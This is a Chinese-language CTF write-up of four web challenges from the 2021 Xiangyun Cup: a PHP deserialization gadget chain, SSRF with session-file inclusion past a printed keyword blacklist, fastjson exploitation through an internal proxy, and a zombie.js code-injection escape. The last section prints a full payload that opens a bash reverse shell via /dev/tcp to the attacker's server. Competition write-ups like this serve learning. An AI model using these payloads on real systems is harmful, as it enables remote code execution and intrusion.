2021祥云杯web部分wp

  1. 1. 前言
  2. 2. ezyii
  3. 3. 安全检测
  4. 4. 层层穿透
  5. 5. Crawer_z

前言

体验还行

ezyii

说是最新的链子,题目把文件都筛选好了让我们找。写一下我的思路
看到RunProcess类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php


namespace Codeception\Extension;


class RunProcess
{
protected $output;
protected $config = ['sleep' => 0];

protected static $events = [];

private $processes = [];
public function __destruct()
{
$this->stopProcess();
}

public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {

if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
}

底下有个字符串拼接,可以触发__toString,全局搜索__toString
在这里插入图片描述

AppendStream下有__toString 并且调用了rewind(),找找看这个rewind
在这里插入图片描述
CachingStream类这里有,并且还调用了seek方法,seek又调用了read方法,在这个read方法里又调用了一个read方法

在这里插入图片描述
我们可以控制$this->stream为我们想要的类,查找read,最后在PumpStream类里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php


namespace GuzzleHttp\Psr7;


class PumpStream
{
private $source;

private $size;

private $tellPos = 0;

private $metadata;


private $buffer;

public function getSize()
{
return $this->size;
}
public function read($length)
{
$data = $this->buffer->read($length);
$readLen = strlen($data);
$this->tellPos += $readLen;
$remaining = $length - $readLen;

if ($remaining) {
$this->pump($remaining);
$data .= $this->buffer->read($remaining);
$this->tellPos += strlen($data) - $readLen;
}

return $data;
}
private function pump($length)
{
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
if ($data === false || $data === null) {
$this->source = null;
return;
}
$this->buffer->write($data);
$length -= strlen($data);
} while ($length > 0);
}
}
}

这个类有read方法 ,read调用了pump pump方法调用了call_user_func,所以可以RCE

就写到这吧 我把链子找完的时候队友已经出了,还告诉我网上有公开的poc,心累,说好的最新呢

安全检测

在这里插入图片描述
检测127.0.0.1成功了 是ssrf,利用ssrf扫路径扫到了http://127.0.0.1/admin/include123.php
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}

include($u);


show_source(__FILE__);
?>

包含一下session文件呗
payload:

http://127.0.0.1/admin/include123.php?u=/tmp/sess_你的PHPSESSID&payload=
成功了 挺奇怪的 源码里ban了反引号我这里却可以用 不管了 flag出了就行。

层层穿透

这题做了好久,只会一点java的我靠着github上的一键shell poc做完了
第一层反弹shell,github有直接可以利用的工具
在这里插入图片描述

弹个shell到自己的公网上。
题目提示内网
信息搜集到了10.10.1.11:8080,估计是内网web环境,先把附件源码反编译一下,因为题目环境20分钟刷新一次,所以现在本地打
对着源码逻辑先登录,账号密码源码里可以直接找到
在这里插入图片描述

看到admin/test路由存在fastjson反序列化点。
不怎么会java反序列化,但是github上有不出网直接在数据包里回显的一键shellpoc
https://github.com/depycode/fastjson-c3p0
照着github上的readme直接打,发现提示太短,看源码
在这里插入图片描述
把poc复制两边再打就打通了
本地打通了,之后是题目。我花了大部分时间在搞代理 有几个小时吧 最后选择了frp 确实方便
frp教程
端口转发成功后按照刚刚本地的步骤直接打就行
在这里插入图片描述
(一定找个时间好好学java)

Crawer_z

在这里插入图片描述
引用了zombie框架,谷歌查找 全网只找到这个框架一篇漏洞
https://ha.cker.in/index.php/Article/13563
漏洞描述
在这里插入图片描述
攻击者可以在他们的页面中插入JS代码来利用zombiejs代码注入漏洞。如果使用zombiejs 抓取此类页面,则运行爬虫的机器将运行攻击者提供的任意命令。为了比较,jsdom 默认禁用脚本执行。

想办法让题目访问我们准备的恶意页面就行。
payload在这个博客里都准备好了,提取一下

1
2
3
4
5
var codeToExec = "var sync=require('child_process').spawnSync; " +
"var ls = sync('cat', ['./resources/test.html']); console.log(ls.output.toString());";
var exploit = "c='constructor';require=this[c][c]('return process')().mainModule.require;" + codeToExec;
var attackVector = "c='constructor';this[c][c](\"" + exploit + "\")()";
console.log(attackVector)

改成弹shell的

1
c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()

有了payload,我们要想办法让题目访问我们的恶意页面。看一下源码。
在user.js下
在这里插入图片描述
看到访问/user/bucket似乎会自动访问我们个人信息里设置的bucket,尝试访问。
在这里插入图片描述
尝试更改bucket设置,先看源码
在这里插入图片描述
在checkBucket函数下,看到bucket的要求,必须以http:或者https:为开头,且必须包含oss-cn-beijing.ichunqiu.com
我们尝试修改前面为自己的公网ip地址
在这里插入图片描述
点击更新
在这里插入图片描述

变回原来的了,并且提示admin会来检查,但在源码里看到
在这里插入图片描述
这里其实算是更改失败了,admin不会去检查
在这里插入图片描述
源码里有个重定向到
/user/verify?token=${authToken},我们尝试用队伍token
浏览器url输入队伍token
在这里插入图片描述
修改bucket,但不要点击update,直接在访问我们放入队伍token后的url
在这里插入图片描述
提示更改成功 看到我们的bucket也被设置成了我们的服务器地址
其实这里我还没怎么懂原理,只是试了一下发现可以,那就歪打正着直接用。
在这里插入图片描述
再访问/user/bucket
在这里插入图片描述
回显的内容变了,报错404,这是因为我的公网上没有oss-cn-beijing.ichunqiu.com这个文件。
到这里思路就很清晰了,我们在公网上放置一个oss-cn-beijing.ichunqiu.com.html恶意文件,然后修改bucket为http://公网ip地址/oss-cn-beijing.ichunqiu.com.html
并且这个html文件已经被我们插入了用<script>标签包裹的恶意payload
在这里插入图片描述
服务器起个监听
在这里插入图片描述
题目内访问/user/bucket
在这里插入图片描述
在这里插入图片描述
弹成功了。

这次比赛就做了这四道题,做完java那题距比赛结束就1小时了,被队友带飞进了前三十 队友们tql